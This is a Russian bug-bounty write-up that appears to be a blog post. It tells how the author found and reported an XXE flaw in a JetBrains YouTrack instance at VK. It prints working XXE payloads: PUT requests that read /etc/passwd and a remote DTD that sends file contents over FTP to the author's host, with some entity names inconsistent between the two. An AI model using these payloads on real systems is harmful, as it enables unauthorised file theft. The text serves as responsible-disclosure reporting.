Привет! Видел запись про XXE с помощью RSS, которая позволяла читать файлы в vk? Так вот, буквально на следующий день появилась более интересная возможность читать произвольные файлы, да не абы-где, а на проектах внутренней инфраструктуры компании. Теперь обо всём по порядку.
Началось все с того, что после брута поддоменов, нашлись интересные экземпляры…
Поддомены TeamCity, Upsource, YouTrack — это одноименные системы непрерывной интеграции, рецензирования кода и баг-трекер от компании JetBrains.
При попытке зайти на youtrack.vk.com — браузер ругался на невалидный сертификат, так как он принадлежит youtrack.vk-cdn.net. CDN так CDN — идем туда.
В целом, с найденными системами я ничего не смог сделать, подбор паролей не давал результатов, найденная XSS в YouTrack была трудноэксплуатируема (для старых IE).
Пришло время изучать API
Для YouTrack нашлась отличная документация для REST API. Тыкая в нее палкой, нашёл только enumeration-баги. Например, перебирая различные варианты обращения к проектам и изучая аномалии ответов от сервера, можно узнать какую-нибудь информацию, например имена проектов. Затем, обращаясь к номерам, можно перебрать количество тикетов.
Например:
https://youtrack.vk-cdn.net/rest/issue/ololo/execute?comment=bo0om — вернет 404
https://youtrack.vk-cdn.net/rest/issue/API-252/execute?comment=bo0om — попросит ввести логин/пароль
https://youtrack.vk-cdn.net/rest/issue/API-1337/execute?comment=bo0om — вернет 404 (такого номера тикета нет)
Но и на этом далеко не уедешь! 🙁
Но вот интересный метод Import Users! С помощью PUT запроса можно передать XML:
PUT /rest/import/users?test=1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>
В качестве ответа от сервера будет сообщение, что эта функция работает только для администратора веб-приложения 🙁
Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://xxe.bo0om.ru/xxe-test">
%xxe;
]>
<list></list>
Ко мне на сервер приходит запрос:
GET /xxe-test HTTP/1.1
HOST: xxe.bo0om.ru
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive
Всё становится интереснее 🙂
Вот он - самый сок
То, что используется java — это даёт нам огромное преимущество! Напомню крутую фичу в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.
Создал я файл, java.dtd:
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;
Сел слушать 21 порт (FTP), отправляю атакующий HTTP-пакет:
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://xxe.bo0om.ru/java.dtd">
%xxe;
]>
<list></list>
Ииии… Ничего не происходит. Попробовал ещё разок — ничего.
Несколько раз перепроверил вектор — вроде все отлично. Сменил порт на 80 и 443 — пусто. Может FTP каким-то образом отключено и не поддерживается?
Поставил dnschef. На самом деле это DNS сервер для выполнения MITM атак, но я его заюзал как мониторинг DNS запросов. Проверил — резолв доменного имени происходит. Значит отправка данных блокируется фаерволом (чуваки из vk знают магию iptables).
Начал перебирать порты. Долго-ли, коротко-ли брутились порты, и тут на сервер перелетает пакет…
Победа
Опытным путем выяснилось, что наружу пускает порт 1935, а это уже фактически — победа. Конечный dtd выглядил так:
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;
К сожалению, java была запущена не от суперпользователя (плак-плак), что очень часто бывает. Тем временем, я переместил java.dtd на домен defconrussia.ru и записал следующее видео:
Когда JetBrains узнали о уязвимости в их продукте, быстро зафиксили и сообщили где именно и какого типа уязвимость.
¯ \ _ (ツ) _ / ¯
А меня упомянуть забыли. Ну да ладно. Надеюсь, прочие 15k+ клиентов не пострадали.
Прикольно, что попав в YouTrack я бы узнал обо всех багах и уязвимостях, которые есть вконтакте и в их проектах. Достав логины и пароли — получил бы доступ к другим проектам. Получил бы доступ к upsource — получил бы доступ к исходным кодам (инфа сотка)! Так я бы стал богатым и знаменитым, осталось бы только захватить мир — и жить станет неинтересно. Поэтому я так не делал, а сообщил о найденной уязвимости и даже получил за это деньги!
Какие делаем выводы?
Всё, что предназначено для внутренней инфраструктуры — оставляем внутри, в противном случае закрываем доступ из сети Интернет
Читаем документацию
Имеем силу воли, чтоб не посмотреть одним глазком чужие исходники
Или в статье не написано, или я слеп, но как наружу через порт определенный запрос сделать?(как здесь в примере стоит 1935)
Запрос бы выглядел вот так?
PUT /rest/import/users?test=1
…
<!DOCTYPE list [
%xxe;
]>
Эх, отфильтровался запрос, который я написал(